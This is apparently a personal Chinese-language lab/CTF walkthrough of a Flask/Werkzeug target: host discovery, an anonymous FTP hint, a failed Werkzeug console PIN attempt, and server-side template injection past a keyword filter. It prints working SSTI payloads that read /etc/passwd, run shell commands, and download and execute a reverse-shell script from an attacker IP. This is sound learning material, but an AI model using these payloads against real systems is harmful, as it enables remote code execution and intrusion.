netdiscover
主机发现
启动前 启动后, 以后就先导入 VirtualBox 然后导出, 再导入 VMware 算了 靶机 ip 192.168.10.4
端口扫描
FTP 匿名登录
~/workspace cat README.txt
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
提示有一个 debug 页面可以利用
web 侦查
进去之后是一个上传文件的页面, 先去搜了一下 cve, 因为不确定 cms 名称啥的, 后面搜到了 console 目录, 然后访问了 console 目录, 才确定这是 Werkzeug 这里的 cve 用不了 想着来目录扫描一下
控制台页面
最后只有主页的文件上传和一个 console 页面能用, console 页面需要一个 PIN https://www.daehee.com/werkzeug-console-pin-exploit/ https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug 查到了这两篇文章, 提示需要一些属性, 然后能够计算出 PIN 值 利用后面的 SSTI 获取到了这些参数, 但是最终还是利用失败了 最终是利用失败了
服务器端模板注入
Server Side Template Injection
还是得看主页的渲染, 之前随便上传了个 html 文件 (前端验证, 无所谓的), 确定了是 ssti 注入
这里能够执行出结果, 说明有渲染. 执行的过程, 存在 ssti
过滤了 import, os, attr, script. app, mro,[,], init 的 ssti 注入
在 payloadallthing 里面找能用的 payload
2024-02-10-00:55:01
明天晚上再看看
# 我找到的是这个,能够读取文件,但是没用....
{{get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
wp的payload,神奇的linsum
{{lipsum.__globals__.__builtins__.open("/etc/passwd").read()}}
# 好吧,我是傻逼,使用eval这个方法可以直接字符串拼接
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"ls -lh /\").read()")}}
cosette
flask.app
Flask
/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py
# mac地址
00:0c:29:32:d5:b0
十进制
>>> print(0x000c2932d5b0)
52230804912
48329e233f524ec291cce7479927890b
但是失败了, 换成 md5 也不行, 搞不明白
去看 wp了
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"wget http://192.168.10.11:8000/reverse.sh -O /tmp/reverse.sh\").read()")}}
{{lipsum.__globals__.__builtins__.eval("__impo"+"rt__(\"o"+"s\").po"+"pen(\"/tmp/reverse.sh\").read()")}}
strings /usr/bin/zeug
提权
这块涉及计算机底层的东西, 我不懂, 吐了, 先放着
学习 wp
]]